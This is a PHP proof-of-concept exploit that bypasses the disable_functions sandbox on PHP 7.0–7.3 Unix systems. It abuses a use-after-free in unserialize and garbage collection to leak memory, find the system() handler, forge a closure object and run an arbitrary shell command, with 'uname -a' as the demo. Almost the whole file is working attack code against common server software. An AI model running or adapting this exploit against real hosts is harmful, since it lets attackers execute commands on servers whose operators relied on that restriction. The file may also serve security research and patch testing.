<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)

#

# Bug: https://bugs.php.net/bug.php?id=72530

#

# This exploit should work on all PHP 7.0-7.3 versions

# released as of 04/10/2019, specifically:

#

# PHP 7.0 - 7.0.33

# PHP 7.1 - 7.1.31

# PHP 7.2 - 7.2.23

# PHP 7.3 - 7.3.10

#

# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {

    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {

        $address = 0;

        for($j = $s-1; $j >= 0; $j--) {

            $address <<= 8;

            $address |= ord($str[$p+$j]);

        }

        return $address;

    }

    function ptr2str($ptr, $m = 8) {

        $out = "";

        for ($i=0; $i < $m; $i++) {

            $out .= chr($ptr & 0xff);

            $ptr >>= 8;

        }

        return $out;

    }

    function write(&$str, $p, $v, $n = 8) {

        $i = 0;

        for($i = 0; $i < $n; $i++) {

            $str[$p + $i] = chr($v & 0xff);

            $v >>= 8;

        }

    }

    function leak($addr, $p = 0, $s = 8) {

        global $abc, $helper;

        write($abc, 0x68, $addr + $p - 0x10);

        $leak = strlen($helper->a);

        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;

    }

    function parse_elf($base) {

        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);

        $e_phentsize = leak($base, 0x36, 2);

        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {

            $header = $base + $e_phoff + $i * $e_phentsize;

            $p_type  = leak($header, 0, 4);

            $p_flags = leak($header, 4, 4);

            $p_vaddr = leak($header, 0x10);

            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write

                # handle pie

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

                $data_size = $p_memsz;

            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec

                $text_size = $p_memsz;

            }

        }

        if(!$data_addr || !$text_size || !$data_size)

            return false;

        return [$data_addr, $text_size, $data_size];

    }

    function get_basic_funcs($base, $elf) {

        list($data_addr, $text_size, $data_size) = $elf;

        for($i = 0; $i < $data_size / 8; $i++) {

            $leak = leak($data_addr, $i * 8);

            if($leak - $base > 0 && $leak - $base < $text_size) {

                $deref = leak($leak);

                # 'constant' constant check

                if($deref != 0x746e6174736e6f63)

                    continue;

            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);

            if($leak - $base > 0 && $leak - $base < $text_size) {

                $deref = leak($leak);

                # 'bin2hex' constant check

                if($deref != 0x786568326e6962)

                    continue;

            } else continue;

            return $data_addr + $i * 8;

        }

    }

    function get_binary_base($binary_leak) {

        $base = 0;

        $start = $binary_leak & 0xfffffffffffff000;

        for($i = 0; $i < 0x1000; $i++) {

            $addr = $start - 0x1000 * $i;

            $leak = leak($addr, 0, 7);

            if($leak == 0x10102464c457f) { # ELF header

                return $addr;

            }

        }

    }

    function get_system($basic_funcs) {

        $addr = $basic_funcs;

        do {

            $f_entry = leak($addr);

            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system

                return leak($addr + 8);

            }

            $addr += 0x20;

        } while($f_entry != 0);

        return false;

    }

    class ryat {

        var $ryat;

        var $chtg;

        function __destruct()

        {

            $this->chtg = $this->ryat;

            $this->ryat = 1;

        }

    }

    class Helper {

        public $a, $b, $c, $d;

    }

    if(stristr(PHP_OS, 'WIN')) {

        die('This PoC is for *nix systems only.');

    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];

    for($i = 0; $i < $n_alloc; $i++)

        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';

    $out = unserialize($poc);

    gc_collect_cycles();

    $v = [];

    $v[0] = ptr2str(0, 79);

    unset($v);

    $abc = $out[2][0];

    $helper = new Helper;

    $helper->b = function ($x) { };

    if(strlen($abc) == 79) {

        die("UAF failed");

    }

    # leaks

    $closure_handlers = str2ptr($abc, 0);

    $php_heap = str2ptr($abc, 0x58);

    $abc_addr = $php_heap - 0xc8;

    # fake value

    write($abc, 0x60, 2);

    write($abc, 0x70, 6);

    # fake reference

    write($abc, 0x10, $abc_addr + 0x60);

    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);

    if(!($base = get_binary_base($binary_leak))) {

        die("Couldn't determine binary base address");

    }

    if(!($elf = parse_elf($base))) {

        die("Couldn't parse ELF header");

    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {

        die("Couldn't get basic_functions address");

    }

    if(!($zif_system = get_system($basic_funcs))) {

        die("Couldn't get zif_system address");

    }

    # fake closure object

    $fake_obj_offset = 0xd0;

    for($i = 0; $i < 0x110; $i += 8) {

        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

    }

    # pwn

    write($abc, 0x20, $abc_addr + $fake_obj_offset);

    write($abc, 0xd0 + 0x38, 1, 4); # internal func type

    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();

}